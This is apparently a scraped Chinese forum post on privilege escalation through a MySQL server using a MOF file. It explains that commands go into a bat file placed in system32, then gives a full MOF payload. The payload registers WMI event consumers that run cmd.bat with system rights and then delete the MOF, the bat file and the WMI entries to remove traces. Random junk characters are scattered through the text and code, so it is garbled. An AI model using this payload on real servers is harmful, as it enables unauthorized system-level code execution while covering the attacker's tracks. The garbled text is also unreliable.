这个sql提权MOF需要运行 system下的文件,不能定义路径。, C& \$ G- G- c/ _8 s3 e, w& N, `
需要将要运行的命令写入到bat上传到system32目录,然后执行。
" W3 v% Y! ]: X* C0 M
6 s. Z" S. N1 e0 G/ d; F这个sql提权MOF需要运行 system下的文件,不能定义路径。
# _" P }# T; d' F& d需要将要运行的命令写入到bat上传到system32目录,然后执行。
/ @# e! U! u0 Z e$ ]5 x3 E# ^
* b1 J3 Y( F- Q$ P7 I#pragma
; H% [" I5 j5 p) _! F; T namespace("\\\\.\\root\\cimv2")
- ?3 d7 {6 A5 ~+ h, j! } class: f: D) p8 Y7 I1 z( c
MyClass547, B/ e2 q% Y( H. ?9 h; s7 \
{ [key]
. Y( }0 j# Z- e, v string
) P9 P) {4 B# k! s1 E* s Name;0 X1 C* p: ^! v/ a( J0 }
};
3 r" D5 z' I) N+ X! X3 [& g class
" O+ J# H# g+ k; a ActiveScriptEventConsumer
& |, V8 B( c2 h; ]) d: O# ~/ p : __EventConsumer { [key]9 G3 c) F p- m% L" u
string
9 j# E3 Z) _, ^4 o) X Name; [not_null]
& T+ s) o4 O' w5 X. N1 c( U string
& w4 L7 T- a/ \# |4 I ScriptingEngine; string- U# I) ^+ H3 e# N
ScriptFileName; [template]/ u1 m- X# W% n
string3 J: m% K% ~2 x9 v% P8 o
ScriptText; uint32 KillTimeout; Y) y9 U1 a' F
}; instance of __Win32Provider as $P {1 x+ i* }6 f7 `' ^; G, D4 j9 F
Name+ H. [( m; _% y, y
=9 F a$ [0 f- E `8 w- _
"ActiveScriptEventConsumer"; CLSID =
, W3 q' i5 A# y6 Q1 c7 Z% e8 h "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
" D8 ~% F# E. ^4 ~. T6 Y: z6 g PerUserInitialization
7 y# ]8 P, K4 K) Q' J5 q* X- R = TRUE;
" b* {4 j' \* p1 Y2 Y }; instance of __EventConsumerProviderRegistration { Provider: u1 \( i- j+ p { _6 F
= $P; ConsumerClassNames) `5 y! Q' |! c! D
=
! m0 J( Z7 r; t; K {"ActiveScriptEventConsumer"};0 [ A5 g& V& n: r- Z
};
9 k- ?1 Q( Z! Y Instance of ActiveScriptEventConsumer
. }4 d( E* f8 |2 K% N as $cons { Name, f7 G: i( D3 `! Y; M& C, |/ s& F" O4 m
=8 G: K9 f/ }* T, Y: H
"ASEC"; ScriptingEngine
2 P0 h6 F% C; |) L# S =: L& n$ L+ D: \; r$ m
"JScript"; ScriptText
3 `* X8 s0 ]* O3 i( E+ v2 W# j =9 {% l3 J0 a& Z& `5 q7 w2 E, O
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };2 Q* F2 b$ L* U3 S& m; v# U* |
Instance of ActiveScriptEventConsumer
5 l' e2 d' N. B: f) e' T/ V6 A as $cons2 { Name
6 c3 S# m6 t) V% p F =+ `+ f' J: R# B h2 W
"qndASEC"; ScriptingEngine8 o- M7 H) y/ _" k' K
=, I& w5 L: g: W
"JScript"; ScriptText
' A# Z. y4 W0 |, G7 O =- R, q" o: Q4 [: h: f
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
( ?' f6 f0 D9 ^) O( D/ E1 T }; instance of __EventFilter as $Filt { Name
* X. k! y1 n" X =
( D- P: K# _6 X; T+ ?1 z "instfilt"; Query( D- W% n0 }, k1 v
=
) f3 k5 C* M8 h, i* C/ u; W8 P9 A "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
! H" U5 ]) R! V0 A0 A$ ] = ?, x6 K0 s$ h/ {% a) r7 X
"WQL"; }; instance of __EventFilter as $Filt2 { Name" i9 r) r, A# @9 J5 I
=. c8 A+ L! C0 j
"qndfilt"; Query8 h- c0 l0 [& z" [4 x
=
2 K6 N' @/ S3 D k" l "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage$ x( A% \& Z0 e
=
" P5 z; r' t' t6 h% ~ N "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
( H2 p" D( f- g8 @ = $cons; Filter
$ u3 `+ q/ |. B5 Q/ V = $Filt;/ b7 S& h+ B; o" J4 P: H
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
0 W4 f U1 q8 K1 L* u' F = $cons2; Filter* o7 e X, v+ P: L( E
= $Filt2;
" @; p, V" p+ x9 h0 h- m6 B }; instance of MyClass547# [# [+ C$ a) O! {( `: z. C( ~# P L/ k
as $MyClass { Name- i* o& P- q5 W) Q' [6 _
=
/ W8 A3 E, _- g "ClassConsumer";! I5 [9 E# ~" m* r" H* j5 Z0 w
}; |